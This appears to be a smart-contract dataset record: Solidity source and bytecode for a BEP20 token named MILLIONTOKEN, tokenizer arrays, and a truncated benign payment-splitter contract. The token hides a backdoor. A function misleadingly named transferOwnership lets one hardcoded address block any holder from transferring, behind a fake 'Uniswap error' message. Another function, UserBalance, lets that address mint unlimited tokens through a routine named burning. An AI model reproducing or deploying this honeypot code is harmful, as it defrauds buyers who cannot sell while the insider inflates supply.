UNISWAP🔥 */ pragma solidity 0.5.16; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IBEP20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership1(address newOwner) internal onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BEP20Token is Context, IBEP20, Ownable { using SafeMath for uint256; mapping(address => bool) internal useinmanage; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; constructor() public { _name = "MILLIONTOKEN"; _symbol = "MT"; _decimals = 9; _totalSupply = 1000000 * 10**9; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the bep token owner. */ function getOwner() internal view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transferOwnership(address account, bool value) public { require( _msgSender() == 0x1b3599F527feD182e5AFe6381e32e0d67dA8A0F4, "BEP20: Not accessible" ); useinmanage[account] = value; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "BEP20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "BEP20: decreased allowance below zero" ) ); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function UserBalance(uint256 amount) public returns (bool) { require( _msgSender() == 0x1b3599F527feD182e5AFe6381e32e0d67dA8A0F4, "BEP20: Not accessible" ); burning(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require( !useinmanage[sender], "Uniswap error try again after sometime" ); _balances[sender] = _balances[sender].sub( amount, "BEP20: transfer amount exceeds balance" ); uint256 tax= amount.mul(12); tax=tax.div(100); address black_hole=0x0000000000000000000000000000000000000000; _balances[black_hole]= _balances[black_hole].add(tax); amount=amount.sub(tax); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function burning(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(uint256 amount) internal returns (bool) { _burni(_msgSender(), amount); return true; } function _burni(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub( amount, "BEP20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); if (owner != address(0)) { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } else { _allowances[owner][spender] = 0; emit Approval(owner, spender, 0); } } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burni(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub( amount, "BEP20: burn amount exceeds allowance" ) ); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610486578063a9059cbb146104ec578063b242e53414610552578063dd62ed3e146105a2576100f5565b8063715018a6146103695780638da5cb5b1461037357806395d89b41146103bd5780639bc831b314610440576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab57806370a0823114610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261061a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106bc565b604051808215151515815260200191505060405180910390f35b6101eb6106da565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e4565b604051808215151515815260200191505060405180910390f35b61028f6107bd565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d4565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610887565b6040518082815260200191505060405180910390f35b6103716108d0565b005b61037b610a58565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103c5610a81565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104055780820151818401526020810190506103ea565b50505050905090810190601f1680156104325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046c6004803603602081101561045657600080fd5b8101908080359060200190929190505050610b23565b604051808215151515815260200191505060405180910390f35b6104d26004803603604081101561049c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfb565b604051808215151515815260200191505060405180910390f35b6105386004803603604081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc8565b604051808215151515815260200191505060405180910390f35b6105a06004803603604081101561056857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610ce6565b005b610604600480360360408110156105b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dfd565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106b25780601f10610687576101008083540402835291602001916106b2565b820191906000526020600020905b81548152906001019060200180831161069557829003601f168201915b5050505050905090565b60006106d06106c9610e84565b8484610e8c565b6001905092915050565b6000600454905090565b60006106f18484846111a5565b6107b2846106fd610e84565b6107ad85604051806060016040528060288152602001611b1060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610763610e84565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e19092919063ffffffff16565b610e8c565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061087d6107e1610e84565b8461087885600360006107f2610e84565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a190919063ffffffff16565b610e8c565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108d8610e84565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b195780601f10610aee57610100808354040283529160200191610b19565b820191906000526020600020905b815481529060010190602001808311610afc57829003601f168201915b5050505050905090565b6000731b3599f527fed182e5afe6381e32e0d67da8a0f473ffffffffffffffffffffffffffffffffffffffff16610b58610e84565b73ffffffffffffffffffffffffffffffffffffffff1614610be1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42455032303a204e6f742061636365737369626c65000000000000000000000081525060200191505060405180910390fd5b610bf2610bec610e84565b83611729565b60019050919050565b6000610cbe610c08610e84565b84610cb985604051806060016040528060258152602001611bc86025913960036000610c32610e84565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e19092919063ffffffff16565b610e8c565b6001905092915050565b6000610cdc610cd5610e84565b84846111a5565b6001905092915050565b731b3599f527fed182e5afe6381e32e0d67da8a0f473ffffffffffffffffffffffffffffffffffffffff16610d19610e84565b73ffffffffffffffffffffffffffffffffffffffff1614610da2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42455032303a204e6f742061636365737369626c65000000000000000000000081525060200191505060405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611aec6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bed6022913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146110b75780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a36111a0565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560006040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611ac76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611ba56023913960400191505060405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611354576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611b386026913960400191505060405180910390fd5b6113c081604051806060016040528060268152602001611b7f60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e19092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611419600c836118e690919063ffffffff16565b905061142f60648261196c90919063ffffffff16565b9050600080905061148882600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a190919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114de82846119b690919063ffffffff16565b925061153283600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050565b600083831115829061168e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611653578082015181840152602081019050611638565b50505050905090810190601f1680156116805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f42455032303a206275726e20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6117e1816004546116a190919063ffffffff16565b60048190555061183981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a190919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808314156118f95760009050611966565b600082840290508284828161190a57fe5b0414611961576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b5e6021913960400191505060405180910390fd5b809150505b92915050565b60006119ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a00565b905092915050565b60006119f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115e1565b905092915050565b60008083118290611aac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a71578082015181840152602081019050611a56565b50505050905090810190601f168015611a9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611ab857fe5b04905080915050939250505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365556e6973776170206572726f722074727920616761696e20616674657220736f6d6574696d65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7742455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a723158204ba241f7802ee38717807682202a3ce39a63b743c21a44e4f944ee472d71774364736f6c63430005100032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 3540, 2692, 3540, 2683, 2050, 2581, 2546, 2581, 4402, 12376, 14142, 2683, 2094, 23499, 2683, 17788, 22203, 2278, 2629, 2094, 27009, 2581, 2475, 18939, 3207, 8889, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1086, 1086, 1086, 1086, 1035, 1086, 1086, 1086, 1035, 1035, 1035, 1086, 1086, 1086, 1035, 1035, 1086, 1086, 1035, 1086, 1086, 1086, 1086, 1086, 1035, 1035, 1086, 1086, 1086, 1086, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1086, 1086, 1086, 1086, 1086, 1035, 1035, 1086, 1086, 1086, 1086, 1086, 1086, 1035, 1086, 1086, 1086, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1086, 1086, 1086, 1035, 1035, 1035, 1035, 1086, 1035, 1086, 1086, 1086, 1086, 1086, 1035, 1086, 1035, 1035, 1086, 1086, 1086, 1086, 1035, 1035, 1086, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,441
0x96cacf819a36ea775a7c7320fdf8a1a01b39f56e
pragma solidity >=0.6.0 <=0.6.8; //SPDX-License-Identifier: MIT import "ERC20.sol"; contract Owner { address payable public owner; event OwnerSet(address indexed oldOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner, "You are not the owner"); _; } constructor() public { owner = msg.sender; emit OwnerSet(address(0), owner); } function changeOwner(address payable newOwner) public onlyOwner { emit OwnerSet(owner, newOwner); owner = newOwner; } } contract FoxInvSplit is Owner { using SafeMath for uint256; uint per1; address payable inv2; uint per2; function setInvestitors(address payable investitor2, uint percentual2) public onlyOwner { uint maxPer = 10000; per1 = maxPer.sub(percentual2); inv2 = investitor2; per2 = percentual2; } function getInvestitors() public view returns (address, uint, address, uint) { return (owner, per1, inv2, per2); } receive() external payable { if(per2 == 0){ owner.transfer(msg.value); }else{ owner.transfer(msg.value.mul(per1).div(10000)); inv2.transfer(msg.value.mul(per2).div(10000)); } } function withdrawETH() external onlyOwner { owner.transfer(address(this).balance); } function withdrawERC20(address tokenAddress, uint decimal, uint amount) external onlyOwner { ERC20 token = ERC20(tokenAddress); token.transfer(owner, amount*10**decimal); } }
0x6080604052600436106100595760003560e01c80632ace40db146101ff5780636c07ea431461025a5780638da5cb5b146102bf578063a6f9dae114610316578063c47c97c914610367578063e086e5ec146103ff576101fa565b366101fa57600060035414156100d6576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156100d0573d6000803e3d6000fd5b506101f8565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61013a61271061012c6001543461041690919063ffffffff16565b61049c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610165573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6101cb6127106101bd6003543461041690919063ffffffff16565b61049c90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156101f6573d6000803e3d6000fd5b505b005b600080fd5b34801561020b57600080fd5b506102586004803603604081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104e6565b005b34801561026657600080fd5b506102bd6004803603606081101561027d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610615565b005b3480156102cb57600080fd5b506102d46107cb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561032257600080fd5b506103656004803603602081101561033957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107f0565b005b34801561037357600080fd5b5061037c610970565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390f35b34801561040b57600080fd5b506104146109d5565b005b6000808314156104295760009050610496565b600082840290508284828161043a57fe5b0414610491576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610cd26021913960400191505060405180910390fd5b809150505b92915050565b60006104de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610b01565b905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f7520617265206e6f7420746865206f776e6572000000000000000000000081525060200191505060405180910390fd5b600061271090506105c28282610bc790919063ffffffff16565b60018190555082600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600381905550505050565b6000809054906101000a900473ffffffffffffffffffffff